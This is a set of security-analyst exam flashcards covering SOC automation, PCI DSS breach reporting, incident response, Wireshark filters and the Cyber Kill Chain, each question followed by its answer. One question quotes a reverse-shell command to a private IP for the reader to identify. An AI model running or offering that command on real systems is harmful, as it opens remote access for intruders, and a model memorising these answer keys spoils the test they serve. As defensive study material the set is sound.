Pg2 Flashcards
Which of the following security operations tasks are ideal for automation?
A. Suspicious file analysis:
Look for suspicious-looking graphics in a folder.
Create subfolders in the original folder based on category of graphics found.
Move the suspicious graphics to the appropriate subfolder
B. Firewall IoC block actions:
Examine the firewall logs for IoCs from the most recently published zero-day exploit
Take mitigating actions in the firewall to block the behavior found in the logs
Follow up on any false positives that were caused by the block rules
C. Security application user errors:
Search the error logs for signs of users having trouble with the security application
Look up the user’s phone number -
Call the user to help with any questions about using the application
D. Email header analysis:
Check the email header for a phishing confidence metric greater than or equal to five
Add the domain of sender to the block list
Move the email to quarantine
Email header analysis:
Check the email header for a phishing confidence metric greater than or equal to five
Add the domain of sender to the block list
Move the email to quarantine
An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?
A. PCI Security Standards Council
B. Local law enforcement
C. Federal law enforcement
D. Card issuer
Card issuer
Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?
A. Mean time to detect
B. Number of exploits by tactic
C. Alert volume
D. Quantity of intrusion attempts
Mean time to detect
A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?
A. The current scanners should be migrated to the cloud
B. Cloud-specific misconfigurations may not be detected by the current scanners
C. Existing vulnerability scanners cannot scan IaaS systems
D. Vulnerability scans on cloud environments should be performed from the cloud
Cloud-specific misconfigurations may not be detected by the current scanners
A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user’s workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?
A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities
B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation
C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation
D. Notify the SOC manager for awareness after confirmation that the activity was intentional
Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation
Which of the following is the first step that should be performed when establishing a disaster recovery plan?
A. Agree on the goals and objectives of the plan
B. Determine the site to be used during a disaster
C. Demonstrate adherence to a standard disaster recovery process
D. Identify applications to be run during a disaster
Agree on the goals and objectives of the plan
A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?
A. Testing
B. Implementation
C. Validation
D. Rollback
Validation
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?
A. Data enrichment
B. Security control plane
C. Threat feed combination
D. Single pane of glass
Single pane of glass
When starting an investigation, which of the following must be done first?
A. Notify law enforcement
B. Secure the scene
C. Seize all related evidence
D. Interview the witnesses
Secure the scene
Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?
A. The lead should review what is documented in the incident response policy or plan
B. Management level members of the CSIRT should make that decision
C. The lead has the authority to decide who to communicate with at any t me
D. Subject matter experts on the team should communicate with others within the specified area of expertise
The lead should review what is documented in the incident response policy or plan
A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?
A. Firewall logs
B. Indicators of compromise
C. Risk assessment
D. Access control lists
Risk assessment
An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?
A. Beaconing
B. Cross-site scripting
C. Buffer overflow
D. PHP traversal
Beaconing
A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?
A. Change the display filter to ftp.active.port
B. Change the display filter to tcp.port==20
C. Change the display filter to ftp-data and follow the TCP streams
D. Navigate to the File menu and select FTP from the Export objects option
Change the display filter to ftp-data and follow the TCP streams
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?
A. SLA
B. MOU
C. NDA
D. Limitation of liability
SLA
Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?
A. Command and control
B. Actions on objectives
C. Exploitation
D. Delivery
Command and Control
A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?
A. External
B. Agent-based
C. Non-credentialed
D. Credentialed
Agent-based
A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?
A. RCE
B. Reverse shell
C. XSS
D. SQL injection
Reverse shell
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?
A. Scope
B. Weaponization
C. CVSS
D. Asset value
Weaponization
